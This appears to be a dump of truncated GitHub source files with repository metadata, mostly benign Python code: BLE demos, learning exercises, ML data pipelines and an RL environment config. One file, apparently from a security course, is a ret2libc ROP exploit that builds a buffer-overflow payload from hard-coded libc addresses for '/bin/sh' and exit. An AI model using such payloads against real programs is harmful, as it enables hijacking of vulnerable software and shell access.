""" Demonstration of a Bluefruit BLE Central. Connects to the first BLE UART peripheral it finds. Sends Bluefruit ColorPackets, read from three potentiometers, to the peripheral. """ import time import board from analogio import AnalogIn #from adafruit_bluefruit_connect.packet import Packet # Only the packet classes...
[ "halbert@halwitz.org" ]
halbert@halwitz.org
a34b60332da3cc2b916a9aa39e89a5d34abc28c3
59527a2f36edfec1cb3a06cd93864555d62cd7eb
/PythonCoreProgramming/chapter3/makeTextFile.py
c15ae4fa6348f7f662ae3c222006404dae7a182f
[]
no_license
xiao2mo/MachineLearningInAction-1
e4559fdf54128316e5655f15269f371b687b959a
48fb1faa16827cd0fbeac6ae05358e5fdf5f9e90
refs/heads/master
2021-01-21T21:05:54.175565
2017-06-10T05:53:56
2017-06-10T05:53:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
660
py
#coding:utf-8 import os if __name__ == '__main__': #获得文件名 while True: fname = raw_input('Enter file name: '); if os.path.exists(fname): print 'file: %s has already existed' %fname else: break; fileContent = [] print '\n Enter file content, if you want quit...
[ "codercuixin@gmail" ]
codercuixin@gmail
ce9e940c44787a1a33a27df098898d8d46a918ce
eb8e13ec2997b6047be54ac9b859ece6f0b9baa3
/File_Reading.py
c6ca8e2d55ce02d5663653d420de9b8f62e23c18
[]
no_license
Zidane786/Learning-Python
2a7f1eb2fd80a105afe5f73dc29fbc134f0e1208
8038582748263fe905f3412eb9209f1299719bd1
refs/heads/master
2020-12-06T07:19:39.047544
2020-05-02T09:45:57
2020-05-02T09:45:57
232,387,159
0
0
null
null
null
null
UTF-8
Python
false
false
2,885
py
# ***Open File and Reading it as text file***:- # open_file=open("Zidane.txt", 'rt') # In this rt is Default where r is read and t is text # Read_File=open_file.read() # print(Read_File) # open_file.close() # It is good habbit to close the file when work is done Because we need to free Memomy when our wor...
[ "noreply@github.com" ]
Zidane786.noreply@github.com
d766d4c5a78e044a4c3b133cff4e77e12c3e4d4f
ce7b21a1a9a79322db296a7ffb5dca23c3f53e8d
/exam/bin/django-admin.py
a5aa180a78eeba16a34a8bf08830073c2cec94ca
[]
no_license
letyougo/exam
c8f11f25c4d4e2ab18fdbbf853f13939a41a7079
a6832790927abf36a80263d4c23efede0976fcc7
refs/heads/master
2021-08-19T08:16:34.385755
2017-11-25T12:12:40
2017-11-25T12:12:40
112,000,871
0
0
null
null
null
null
UTF-8
Python
false
false
170
py
#!/Users/xiaoxiaosu/Documents/miui-2017/exam/exam/bin/python3.5 from django.core import management if __name__ == "__main__": management.execute_from_command_line()
[ "surui1@xiaomi.com" ]
surui1@xiaomi.com
f17669184ef2e9e58cc9613ffd6e8add89126ea3
09e8c92187ff8d7a726727041e2dd80850dcce3d
/leetcode/028_implement_strStr_TRICKY.py
7154dcc9281455ccd29a545cb11042da6c8c43ad
[]
no_license
kakru/puzzles
6dd72bd0585f526e75d026f3ba2446b0c14f60e0
b91bdf0e68605f7e517446f8a00b1e0f1897c24d
refs/heads/master
2020-04-09T09:47:31.341475
2019-05-03T21:24:41
2019-05-03T21:24:41
160,246,660
0
0
null
null
null
null
UTF-8
Python
false
false
1,846
py
#/usr/bin/env python3 import unittest class Solution: def strStr(self, haystack, needle): """ :type haystack: str :type needle: str :rtype: int """ h_len = len(haystack) n_len = len(needle) i = 0 while i <= h_len - n_len: if haysta...
[ "karol@kruzelecki.com" ]
karol@kruzelecki.com
d8068915b32c07cb896a8397d6b917f876d3b5fe
4549c02dac55f2b8ed113ddacf95264630d91698
/Predict/__init__.py
022ca012e6428d9d89aadfa04b3b27bb059bca6b
[]
no_license
kiminh/GPA
43077bb59797a096e3660b226642c5fe091a9663
29c5ffd8d7aa1bc3ebe6d83d1e55a997a04e4b60
refs/heads/master
2021-02-10T20:45:35.581410
2020-01-14T08:59:00
2020-01-14T08:59:00
244,417,955
1
0
null
2020-03-02T16:23:00
2020-03-02T16:23:00
null
UTF-8
Python
false
false
98
py
# -*- coding: utf-8 -*- # @Time : 2019/11/19 10:58 # @Author : zxl # @FileName: __init__.py.py
[ "791057615@qq.com" ]
791057615@qq.com
d8b19ae42d91ddaf031dcf7c3a036edde31b414e
41aa400850af639e8d2ef4da7c65a566e3ff5a54
/Object_Oriented_Programs/Inventory_data.py
2696c04edc2fe332e64355e2774c02d351a90c2e
[]
no_license
ravindraindia4u/Python
e1159df5eeea6b93ad42063644eaca375ca96f72
b1915958a524f4f2e6b80cff423cd7bc72834fa8
refs/heads/master
2022-04-27T17:45:35.653000
2020-05-01T21:15:30
2020-05-01T21:15:30
259,142,416
0
0
null
null
null
null
UTF-8
Python
false
false
425
py
""" Create the JSON from Inventory Object and output the JSON String """ import json def main(): file = open("inventory", 'r') data = json.load(file) file.close() for key, value in data.items(): print(f"The {key} details are as follows: ") for dictionary in value: for keys...
[ "ravindraindia4u@gmail.com" ]
ravindraindia4u@gmail.com
095d0bb99bf369d801675140f71509f3c30b20fc
2c28ecef182aab6f57f8ca1195aca33ae5061cc4
/AutomateTheBoringStuff/commaCode.py
574ce040aa387c04db5862594c8eb0149a52b47c
[]
no_license
MarcHiggins/LearningPython
b5b39ec80b1f6959bf24d55cb5c86200ab82fd67
dba2fac74b37ac0038b109c00720a71c0b57109b
refs/heads/master
2022-09-17T22:04:55.753942
2020-06-05T18:10:03
2020-06-05T18:10:03
267,947,875
0
0
null
null
null
null
UTF-8
Python
false
false
547
py
##Aim is to print a list with all items separated with a comma ## and a space, with and inserted before the last item ##Test one with a simple, user defined list spam = ['apples', 'bananas', 'tofu', 'cats'] print(spam) def andlist(x): x.insert(-1, 'and') print(*x, sep = ", ") andlist(spam) print(*...
[ "marcghiggins@gmail.com" ]
marcghiggins@gmail.com
a9d884d274c01dd78cceab6370265d03f5fafe07
c7ab842b33195cf026b3a93ef38814ce3ea6309e
/Reed-Solomon/main.py
aff0b3b81d06e0755c525ab2998b20c8cff029d5
[]
no_license
kizcko/Number-Theory
7f2429d7d1685b38338073f6603bce91e51106a5
aed1dba7a06a91eb0341d4fdc0bf1577d0809bc3
refs/heads/main
2023-04-20T18:55:06.584995
2021-05-17T15:09:59
2021-05-17T15:09:59
368,226,516
0
0
null
null
null
null
UTF-8
Python
false
false
509
py
import decoding from encoding import encoding from decoding import * m = 29 p = 11 s = 1 k = 3 def convert_to_ascii(text): return "".join(str(ord(char)) for char in text) if isinstance(m, str): m = int(convert_to_ascii(m)) def main(m,p,s,k): print("\nEncoding\n",20*'=') print(...
[ "noreply@github.com" ]
kizcko.noreply@github.com
15f12151f6b78ab44e92344a457d76919163a256
e2af805086a86ec5e3526c503e56aacf291bff7d
/pv_mcts.pyx
f6cb74e6357e7d2dcb9361b56fee7187c63aed81
[]
no_license
keisuke-777/CythonVerAlphaZeroForGeister
e21c7e44e83f58e63b4ae35487deba6d75b9b4cc
abf9b124fc2d335cf6086a98223d60883719cfc9
refs/heads/master
2023-03-22T11:33:05.838507
2021-03-10T02:21:48
2021-03-10T02:21:48
315,944,517
0
0
null
null
null
null
UTF-8
Python
false
false
5,206
pyx
# ==================== # モンテカルロ木探索の作成 # ==================== # パッケージのインポート from game import State from dual_network import DN_INPUT_SHAPE from math import sqrt from tensorflow.keras.models import load_model from pathlib import Path import numpy as np # パラメータの準備 PV_EVALUATE_COUNT = 50 # 1推論あたりのシミュレーション回数 # 推論 def pr...
[ "keisuke7771120@me.com" ]
keisuke7771120@me.com
ea641622136b336a1f7196b18e51f101df6df097
d45bb44b0dfabfeff37c21a6ac0be1362782e39a
/utils/import_bookmarks.py
ea763b006243bdea76577f71ce07e8fba1168997
[]
no_license
SyJarvis/BookmarkManager
c25f9df8cb0d0719de805f8080a7ae78c5ac529c
dc3baf06fd47c4514b148134ee3d3fa03f7f1571
refs/heads/master
2023-03-26T17:14:17.776441
2021-03-21T14:58:58
2021-03-21T14:58:58
322,634,112
1
0
null
null
null
null
UTF-8
Python
false
false
647
py
from pyquery import PyQuery as pq class BookmarksTodb(): def __init__(self, filename='utils/bookmarks_2020_5_5_win.html'): with open(filename, 'r+', encoding='utf-8') as file: self.html = file.read() self.doc = pq(self.html) def get_cage_list(self): cage_li = [] items = self.doc('H3') for...
[ "1755115828@qq.com" ]
1755115828@qq.com
26abf2b58ee4ed7a69f2c069c5026e46fd6d5427
419873dd3b7412f704b1a7907b64a60b44cedf39
/python/树/103. 二叉树的锯齿形层次遍历.py
b3b9739640c5bbaeecf8e7c3f913e970275761a9
[]
no_license
Weless/leetcode
0585c5bfa260713f44dabc51fa58ebf8a10e7814
0566622daa5849f7deb0cfdc6de2282fb3127f4c
refs/heads/master
2021-11-13T07:59:20.299920
2021-10-25T02:09:53
2021-10-25T02:09:53
203,720,668
0
0
null
null
null
null
UTF-8
Python
false
false
818
py
class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None from typing import List class Solution: def zigzagLevelOrder(self, root: TreeNode) -> List[List[int]]: if not root: return [] from collections import deque queue = d...
[ "twzcxx1@163.com" ]
twzcxx1@163.com
d73cb9b3bb88001eb961512b064822c5c3bc29b3
2214265044a4c141b9743e74cb04b87a2d08ce5a
/luminoth/utils/homedir.py
1e4a8098a8f7488ac2171c99c76ffa474d329f7c
[ "BSD-3-Clause" ]
permissive
Chunde/luminoth
163bb4850d9526675e5e02414b07055a894cb794
4c1523460d41a69dc548262051779dc5037afb8d
refs/heads/master
2021-04-27T02:39:30.272615
2018-03-02T18:04:46
2018-03-02T18:54:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
602
py
"""Luminoth home (~/.luminoth) management utilities.""" import os import tensorflow as tf DEFAULT_LUMINOTH_HOME = os.path.expanduser('~/.luminoth') def get_luminoth_home(create_if_missing=True): """Returns Luminoth's homedir.""" # Get Luminoth's home directory (the default one or the overridden). path =...
[ "aazzinnari@gmail.com" ]
aazzinnari@gmail.com
798e600ffd6cebdf2aa06b2b71741f788ad7e5d9
b198f2276f3f26bed9aaae347429875e573a0355
/Interview_Coding_Questions/extract_ip.py
5f8f784aaec2f3b0fcda2ea23d0eec658ea14071
[]
no_license
PKStuff/task
c4dedd8d3cd3e34ac203839592e645d112a20ff2
36e0ad50aabc398135b98224eb7cca05867aa3eb
refs/heads/master
2021-06-13T22:22:56.332364
2021-02-09T11:57:46
2021-02-09T11:57:46
136,037,052
1
0
null
null
null
null
UTF-8
Python
false
false
305
py
""" This is my IP address 10.10.20.189 on network 2020.1.1 and also 192.168.0.1 """ def extractIP(s1): s1 = s1.split() for string in s1: if string.count('.') == 3: print(string) s1 = "This is my IP address 10.10.20.189 on network 2020.1.1 and also 192.168.0.1" extractIP(s1)
[ "noreply@github.com" ]
PKStuff.noreply@github.com
5baa937a803d1bfa2ca8c947fddf74cbd2b9d73b
3a218403531ef396e32daccf7f8e7812c9f7e8d2
/python/mxnet/seg_recordio.py
b2a2beb6c7930fea97fd62c2d0857e160dca47e4
[ "BSD-3-Clause", "Zlib", "Apache-2.0", "BSD-2-Clause", "BSD-2-Clause-Views" ]
permissive
coderzbx/seg-mxnet
ac0f9cf450d0b4bebb26110921c83831ca832615
a3ef65a1991d59c23b6111048fdc16d38e2862af
refs/heads/master
2022-11-30T04:09:49.476375
2018-05-16T12:50:29
2018-05-16T12:50:29
127,411,826
0
1
Apache-2.0
2022-11-25T01:35:29
2018-03-30T09:51:04
C++
UTF-8
Python
false
false
15,191
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
[ "zhangbenxing@kuandeng.com" ]
zhangbenxing@kuandeng.com
3652ed9c9aa0576a74edaf5107cd392b4e4156b3
85c873074683ce54ab6056c42ca745f672867d72
/quora/lstm_lvm/model.py
415184aa3fd978ae5dcc8e9172689184ed6ff217
[]
no_license
jihunchoi/cross-sentence-lvm-public
46dbbec5c5cba3db38d42437f7f30dd4e4659fab
c48f890dc994fb538b47bea864c5bc3d182b622e
refs/heads/master
2022-11-25T08:19:14.639728
2020-07-28T05:25:51
2020-07-28T05:25:51
283,109,097
1
0
null
null
null
null
UTF-8
Python
false
false
13,256
py
from typing import Any, Dict, Optional, Union, List import torch from torch import nn from torch.distributions import Categorical from torch.nn import functional from allennlp.common.params import Params from allennlp.data.vocabulary import Vocabulary from allennlp.models.model import Model from allennlp.modules.feed...
[ "jhchoi@europa.snu.ac.kr" ]
jhchoi@europa.snu.ac.kr
6b35c592f8a2cbebcbf7547605a3603a6085d533
c042600d495d90a70fce0ce8dc24b88951994ed7
/LiteratureBooks/pipelines.py
14616d164683728b418f3055016487aba968b913
[]
no_license
JC5137/distributeSpider
b8c938be3033f77f06c8ae57c96a81c9a2d2439a
9c068503f34b3bc14e055f70903b3c81b32e09d0
refs/heads/master
2021-04-12T11:50:17.689045
2017-07-12T13:44:37
2017-07-12T13:44:37
94,546,730
1
0
null
null
null
null
UTF-8
Python
false
false
2,543
py
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html import MySQLdb import MySQLdb.cursors import logging from twisted.enterprise import adbapi class LiteraturebooksPipeline(obje...
[ "834096423@qq.com" ]
834096423@qq.com
fbb0c4e5b8fe265c6360855246cde8f9766f8dcf
7df98e150bb9bf9c4ef3299a00e70de80ef0fdad
/04-estimation/01-intro-to-estimation/website/22. Least Squares Notebook/Least-Squares-Solution.py
a8c9cc81fb40cb6d332f32dbed702c7e4ffeaa28
[]
no_license
AkshadK/autonomous-flight-course-notes
fda761a31f2e208eab241bc4823fcf4dfa86a22b
6dc4cdf765c3018eb90c4e806d46841669d37c9e
refs/heads/master
2023-05-02T23:51:09.677180
2020-05-17T13:57:42
2020-05-17T13:57:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,841
py
#!/usr/bin/env python # coding: utf-8 # # Least Squares # # In this notebook you'll use least squares to estimate a state vector $x$, given $m$ noisy measurements derived from: # # $ # \tilde{y} = Hx + v # $ # # $v$ is sampled from gaussian $N(0, R)$, and $H$ is a matrix mapping the state space to the measurement s...
[ "arush@ilovebrands.net" ]
arush@ilovebrands.net
623d7b812b2e43e3541b088ba3b63a76c0ac5857
20569ea832802e5dadde2cbc4c144ff02d85d355
/utils/BenchmarkRunner.py
fa230c9af28272b4a1fb6624842c5d4cd34f65b6
[ "MIT" ]
permissive
bwhub/CONVJSSP
6017359f7bf21a1e257df121baf3f83fc22a80ba
dd9084dc370e6113df749b247ee05670e46fca3f
refs/heads/master
2023-02-01T15:18:43.057072
2020-12-14T17:10:26
2020-12-14T17:10:26
299,891,152
3
0
null
null
null
null
UTF-8
Python
false
false
7,125
py
import subprocess from tqdm import tqdm import itertools as it import os import multiprocessing as mp class BenchmarkRunner: def __init__(self, log_dir, exec_path="../src/job-shop-experiment/job-shop", repeat_time=1, warmup_seconds=0): self.exec_path = exec_path + " " self.log_dir = log_dir ...
[ "blakewang@live.com" ]
blakewang@live.com
347412fdfa9287d03bb131ce4771ae5ddacded33
4d5721457ae7856c11c869c5966a36416e1144c3
/djagno_pg_trgm/urls.py
1a25a241b46a0c0c72b051c4439ebc836c906d89
[]
no_license
Zlira/django_pg_trgm
dd65df6caf372f2777db73d85c815eab661abd9d
59ad1b95a8a08783af856b200b53a793d1d8b403
refs/heads/master
2016-09-13T12:54:17.202890
2016-05-02T11:29:44
2016-05-02T11:29:44
57,662,880
0
0
null
null
null
null
UTF-8
Python
false
false
283
py
from django.conf.urls import patterns, include, url from django.contrib import admin urlpatterns = patterns('', # Examples: # url(r'^$', 'djagno_pg_trgm.views.home', name='home'), # url(r'^blog/', include('blog.urls')), url(r'^admin/', include(admin.site.urls)), )
[ "olesia.hr@gmail.com" ]
olesia.hr@gmail.com
9fa2c72d698228f49d9a9ff9bacf0479f901071d
a79faf54ba4e6b8a1223d17b9b242fc7c52e7342
/test/tagger_test/test_ec2_tagger.py
ce170114b362d92fbd80e140bc549d14d19b538e
[ "Apache-2.0" ]
permissive
sahajsoft/LUAU
773193cb549752a202a03d388e463ad11181af2e
1578fb971fb745d8ca4c42ff9c1ee0a1c7480194
refs/heads/master
2021-06-25T23:49:03.730066
2020-10-16T13:01:28
2020-10-16T13:01:28
153,218,839
1
1
Apache-2.0
2019-02-06T07:44:53
2018-10-16T03:45:03
Python
UTF-8
Python
false
false
709
py
import unittest import json import boto3 import os from mock import MagicMock from moto import mock_autoscaling, mock_ec2 from tagger.ec2_tagger import EC2Tagger class TestEC2Tagger(unittest.TestCase): @mock_ec2 def setUp(self): json_data = open('./test/example_events/run_instances.json').read() ...
[ "keithwhitley@Keiths-MacBook-Pro.local" ]
keithwhitley@Keiths-MacBook-Pro.local
87418f41882ec35f3c52caae603025eb269fc11b
31473c88fbfb0dbd436468b7535787cdc91ce472
/ItemFastAPI/env/Lib/site-packages/poetry/core/__init__.py
a06869c8b84d72266573e3eaa9e694e31582d97a
[]
no_license
WaleedAlromaema/ItemFastAPI
9fef19e4f85193f6f17d18c0c393148f4fe510c6
9aa4779dc7d45c38bdd738d0d311d35f9042cd4c
refs/heads/master
2023-07-10T14:19:28.077497
2021-08-01T14:08:24
2021-08-01T14:08:24
391,641,951
0
0
null
null
null
null
UTF-8
Python
false
false
305
py
import sys try: from pathlib import Path except ImportError: # noinspection PyUnresolvedReferences from pathlib2 import Path __version__ = "1.0.3" __vendor_site__ = (Path(__file__).parent / "_vendor").as_posix() if __vendor_site__ not in sys.path: sys.path.insert(0, __vendor_site__)
[ "WalRoma@DESKTOP-TJNDUI1" ]
WalRoma@DESKTOP-TJNDUI1
c2dfa472424134a661b3b929c19173f3627a69ca
50edc4d858276ae080a40561f68d64e2a9c8bb1d
/ExampleHydraulicComparison.py
0dcbeff5edf4853c8d47dac7b82b9c34d43c643f
[ "LicenseRef-scancode-warranty-disclaimer" ]
no_license
iordach1/ICE-Coding
eef59eb043565c10208e197ce4109ba8ea86b11e
fb72df738e812f228fb4947f8fd3990754850c71
refs/heads/master
2020-03-28T03:54:50.491205
2018-08-16T17:40:40
2018-08-16T17:40:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,174
py
# Example Jython script demonstrating how DSS data can be accessed # within execution of HEC-DSSVue and obtain hydraulic results from # a HEC-RAS DSS file. def GetMaxValueIndex(hydrograph): # Gets the index of the entry in supplied # array with the largest value idx = 0 max = float(-sys.maxint)...
[ "noreply@github.com" ]
iordach1.noreply@github.com
44ef8859d033e58a0a9a56f33e20576e31bb6668
85310673ac3e45956dfa904fe7fecf5d6c57bfee
/meta_dataset/data/pipeline.py
df807be9e188307ec47e3ac59bc901316c82b46e
[ "Apache-2.0" ]
permissive
ebadrian/meta_dataset
c994f15a4cda2bf8e5b51539b174184a3269e5eb
bd40ec4486de165fa6f4ca9fe839e1f685a0ee27
refs/heads/main
2023-01-23T18:59:36.501160
2020-12-04T23:49:08
2020-12-04T23:49:08
318,241,469
0
0
null
null
null
null
UTF-8
Python
false
false
25,065
py
# coding=utf-8 # Copyright 2020 The Meta-Dataset Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
[ "adrian.el_baz@ens-paris-saclay.fr" ]
adrian.el_baz@ens-paris-saclay.fr
b854b2f33147ed15e806a984140b33a8a77e76fe
562384347373c3ae872a380e3d2363fbbbe0a5b3
/mpr_curves.py
c69ac35e2b899d12803af5570e2c60bf74299c74
[]
no_license
XingCui666/scripts
22df26d072648557bdddc66c93d52d45bab64c7e
4f7488fd37ff0bf4f9bf78e93711a058885655c7
refs/heads/master
2022-04-14T15:46:24.407738
2020-03-24T04:30:53
2020-03-24T04:30:53
159,750,624
0
0
null
null
null
null
UTF-8
Python
false
false
8,172
py
# Created by Kuan Li import json import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt from tqdm import tqdm import sys import os IOU_TH_50 = 0.5 IOU_THS = [i / 20 + 0.5 for i in range(9, -1, -1)] class Dt: def __init__(self, img_id, score, bbox, mode="mPR"): """ single dt ...
[ "xingcui@qa-gpu018.aibee.cn" ]
xingcui@qa-gpu018.aibee.cn
c3ef23d87718434c242e7c55f33d4ccb0809bb27
77170eede81686cc4cac018e243b04d74c146ae6
/rop_ret2lib_4.py
64b7fdb79598929c51f1333fcbd3f1d116e8460c
[]
no_license
Ravin-Academy/rop_ret2libc
76e1888608af3270a847e22f019c33a2eeefe7d1
88692860b0d601ab11eaad1743ef45a487dbe677
refs/heads/main
2023-02-20T03:43:55.360916
2021-01-23T16:00:14
2021-01-23T16:00:14
332,245,113
0
0
null
null
null
null
UTF-8
Python
false
false
528
py
#!/usr/bin/python from struct import * import os libc_binsh = pack("<I", 0xf7ef7aaa) libc_printf = pack("<I", 0xf7dcb860) libc_exit = pack("<I", 0xf7daaa60) libc_popret = pack("<I", 0xf7e76671) ret = pack("<I", 0x804900a) rop_popret = pack("<I", 0x804901e) buffer = '' buffer += "A" * 312 # printf("/bin/sh") buffer...
[ "ramin.blackhat@gmail.com" ]
ramin.blackhat@gmail.com
169f922fde12e42c0892becb0540abb35f3580b1
0fdac0d61352d3759cec291cababeef4c65c59f4
/mp3player.py
985cf2c87944d304a617b3c8dbd07a46c7d4d1c1
[]
no_license
masterx2/VKD
e638b1d00233c87a48c3c55753d3e01f901c123f
d4aedaaa05d754ddf68c586a224443968efbc6dd
refs/heads/master
2016-08-06T13:03:55.980854
2013-06-23T16:52:42
2013-06-23T16:52:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,501
py
__author__ = 'MasterX2' from PyQt4 import QtGui, QtCore from PyQt4.phonon import Phonon class Window(QtGui.QPushButton): def __init__(self): QtGui.QPushButton.__init__(self, 'Choose File') self.mediaObject = Phonon.MediaObject(self) self.audioOutput = Phonon.AudioOutput(Phonon.Mus...
[ "true.masterx@gmail.com" ]
true.masterx@gmail.com
7199f038ea4f16a7389261bd5f9003a535c2f491
1892a473b7eed6aaa712bc2959a1aca48beec284
/domains/gym_taxi/utils/config.py
afa1e60798fc34e0d28312b85cf4f1ba3ae3c071
[ "MIT" ]
permissive
AndrewPaulChester/sage-code
d3753bc894f21ce057c1a273e54926e368529e2b
9fe676bfbcbc6f642eca29b30a1027fba2a426a0
refs/heads/main
2023-05-05T19:08:21.655463
2021-05-27T05:21:54
2021-05-27T05:21:54
371,245,286
2
0
null
null
null
null
UTF-8
Python
false
false
3,501
py
""" .. module:: config :synopsis: Contains config parameters for the SDRL taxi world. """ import numpy as np from numpy.random import randint as rand import matplotlib.pyplot as pyplot MAX_EPISODE_LENGTH = 500 DISCRETE_ENVIRONMENT_STATES = 500 FIXED_GRID_SIZE = 5 LOCS = [(0, 0), (4, 0), (0, 4), (3, 4)] MAP = [ ...
[ "48459485+AndrewPaulChester@users.noreply.github.com" ]
48459485+AndrewPaulChester@users.noreply.github.com
328bccf4b3138a2c108c76e34c1341d685b88b08
7e2af9fa47719462a238693c26ac9c872749c58c
/Environments/project1_env/lib/python3.6/linecache.py
5aed931c8d3afc86198b3c5b70a44b3aa147d47a
[]
no_license
williamsonchris/Udacity
b0a169f6a02f5897cd810de51f7e4657ccc29b17
4c947484f096fff2d8a5916145d3288b461efe25
refs/heads/master
2020-03-30T08:45:44.107299
2018-10-02T05:14:20
2018-10-02T05:14:20
151,037,529
0
0
null
null
null
null
UTF-8
Python
false
false
46
py
/Users/CW/anaconda3/lib/python3.6/linecache.py
[ "CW@Chris-Williamson-2.local" ]
CW@Chris-Williamson-2.local
bd6651931aed58d7bfd2c1949c7dea3b99edfd6c
b685036280331fa50fcd87f269521342ec1b437b
/src/data_mining_demo/py_shuJuWaJue_ruMen_yu_ShiJian/chapter3/demo2.py
7e2ee679470b22f9af507b2f12f77a6431309659
[]
no_license
chenqing666/myML_DM_Test
f875cb5b2a92e81bc3de2a0070c0185b7eacac89
5ac38f7872d94ca7cedd4f5057bb93732b5edbad
refs/heads/master
2022-02-26T01:52:06.293025
2019-09-20T06:35:25
2019-09-20T06:35:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
175
py
import pickle import numpy as np import pandas as pd datafile = "./cleanedData.dai" with open(datafile, 'rb') as file: dataset = pickle.load(file) print(dataset.head())
[ "daijitao@ctsi.com.cn" ]
daijitao@ctsi.com.cn